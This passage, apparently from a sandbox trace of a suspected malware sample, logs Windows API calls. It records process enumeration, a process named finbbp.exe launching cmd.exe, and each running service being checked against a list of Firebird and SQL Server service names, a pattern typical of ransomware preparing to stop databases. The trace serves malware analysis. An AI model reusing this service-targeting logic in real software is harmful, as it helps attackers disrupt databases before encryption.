[0218.270] lstrlenW (lpString="SearchUI.exe") returned 12 [0218.270] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0218.270] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0218.271] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0218.271] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0218.271] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.272] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.272] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0218.272] lstrlenW (lpString="mobsync.exe") returned 11 [0218.272] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0218.273] lstrlenW (lpString="finbbp.exe") returned 10 [0218.273] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.274] lstrlenW (lpString="cmd.exe") returned 7 [0218.274] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.274] lstrlenW (lpString="conhost.exe") returned 11 [0218.274] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0218.275] CloseHandle (hObject=0x2d4) returned 1 [0218.275] Sleep (dwMilliseconds=0x1f4) [0218.779] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad458 [0218.779] EnumServicesStatusExW (in: hSCManager=0x6ad458, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0218.780] GetLastError () returned 0xea [0218.780] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x6cf658 [0218.780] EnumServicesStatusExW (in: hSCManager=0x6ad458, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6cf658, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6cf658, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0218.781] CloseServiceHandle (hSCObject=0x6ad458) returned 1 [0218.781] lstrlenW (lpString="AppXSvc") returned 7 [0218.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0218.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0218.782] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0218.782] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0218.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0218.782] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0218.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.782] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0218.782] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0218.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0218.782] lstrlenW (lpString="Audiosrv") returned 8 [0218.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0218.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0218.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0218.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0218.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0218.782] lstrlenW (lpString="BFE") returned 3 [0218.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0218.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0218.782] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0218.782] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0218.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0218.782] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0218.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0218.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0218.782] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0218.782] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0218.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0218.782] lstrlenW (lpString="CDPSvc") returned 6 [0218.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0218.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0218.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0218.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0218.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0218.783] lstrlenW (lpString="ClickToRunSvc") returned 13 [0218.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0218.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0218.783] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0218.783] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0218.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0218.783] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0218.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0218.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0218.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0218.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0218.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0218.783] lstrlenW (lpString="CryptSvc") returned 8 [0218.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0218.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0218.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0218.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0218.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0218.783] lstrlenW (lpString="DcomLaunch") returned 10 [0218.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.783] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0218.783] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0218.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0218.784] lstrlenW (lpString="DeviceAssociationService") returned 24 [0218.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0218.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0218.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0218.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0218.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0218.784] lstrlenW (lpString="Dhcp") returned 4 [0218.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0218.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0218.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0218.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0218.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0218.784] lstrlenW (lpString="Dnscache") returned 8 [0218.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0218.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0218.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0218.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0218.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0218.784] lstrlenW (lpString="DPS") returned 3 [0218.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0218.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0218.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0218.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0218.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0218.784] lstrlenW (lpString="DusmSvc") returned 7 [0218.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0218.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0218.785] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0218.785] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0218.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0218.785] lstrlenW (lpString="EventLog") returned 8 [0218.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0218.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0218.785] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0218.785] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0218.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0218.785] lstrlenW (lpString="EventSystem") returned 11 [0218.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0218.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0218.785] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0218.785] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0218.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0218.785] lstrlenW (lpString="FontCache") returned 9 [0218.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0218.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0218.785] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0218.785] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0218.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0218.785] lstrlenW (lpString="gpsvc") returned 5 [0218.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0218.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0218.785] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0218.785] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0218.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0218.786] lstrlenW (lpString="iphlpsvc") returned 8 [0218.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.786] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0218.786] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0218.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0218.786] lstrlenW (lpString="KeyIso") returned 6 [0218.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0218.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0218.786] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0218.786] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0218.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0218.786] lstrlenW (lpString="LanmanServer") returned 12 [0218.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0218.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0218.786] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0218.786] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0218.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0218.786] lstrlenW (lpString="LanmanWorkstation") returned 17 [0218.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.786] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0218.786] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0218.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0218.786] lstrlenW (lpString="lfsvc") returned 5 [0218.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0218.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0218.786] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0218.787] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0218.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0218.787] lstrlenW (lpString="lmhosts") returned 7 [0218.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0218.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0218.787] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0218.787] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0218.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0218.787] lstrlenW (lpString="LSM") returned 3 [0218.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0218.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0218.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0218.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0218.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0218.787] lstrlenW (lpString="MpsSvc") returned 6 [0218.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0218.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0218.787] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0218.787] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0218.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0218.787] lstrlenW (lpString="NcbService") returned 10 [0218.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0218.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0218.787] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0218.787] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0218.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0218.787] lstrlenW (lpString="netprofm") returned 8 [0218.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0218.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0218.788] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0218.788] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0218.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0218.788] lstrlenW (lpString="NgcSvc") returned 6 [0218.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0218.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0218.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0218.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0218.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0218.788] lstrlenW (lpString="NlaSvc") returned 6 [0218.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0218.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0218.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0218.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0218.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0218.788] lstrlenW (lpString="nsi") returned 3 [0218.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0218.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0218.788] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0218.788] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0218.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0218.788] lstrlenW (lpString="PcaSvc") returned 6 [0218.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0218.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0218.788] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0218.788] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0218.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0218.788] lstrlenW (lpString="PlugPlay") returned 8 [0218.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0218.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0218.789] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0218.789] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0218.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0218.789] lstrlenW (lpString="Power") returned 5 [0218.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0218.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0218.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0218.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0218.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0218.789] lstrlenW (lpString="ProfSvc") returned 7 [0218.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0218.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0218.789] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0218.789] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0218.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0218.789] lstrlenW (lpString="RpcEptMapper") returned 12 [0218.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0218.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0218.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0218.789] lstrlenW (lpString="RpcSs") returned 5 [0218.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0218.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0218.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0218.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0218.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0218.790] lstrlenW (lpString="SamSs") returned 5 [0218.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0218.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0218.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0218.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0218.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0218.790] lstrlenW (lpString="Schedule") returned 8 [0218.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0218.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0218.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0218.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0218.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0218.790] lstrlenW (lpString="SecurityHealthService") returned 21 [0218.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0218.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0218.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0218.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0218.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0218.790] lstrlenW (lpString="SENS") returned 4 [0218.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0218.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0218.790] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0218.790] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0218.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0218.790] lstrlenW (lpString="ShellHWDetection") returned 16 [0218.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.790] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0218.791] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0218.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0218.791] lstrlenW (lpString="Spooler") returned 7 [0218.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0218.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0218.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0218.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0218.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0218.791] lstrlenW (lpString="StateRepository") returned 15 [0218.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0218.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0218.791] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0218.791] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0218.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0218.791] lstrlenW (lpString="SysMain") returned 7 [0218.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0218.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0218.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0218.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0218.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0218.791] lstrlenW (lpString="SystemEventsBroker") returned 18 [0218.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0218.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0218.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0218.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0218.791] lstrcmpiW (lpString1="sqlserveradhelper", 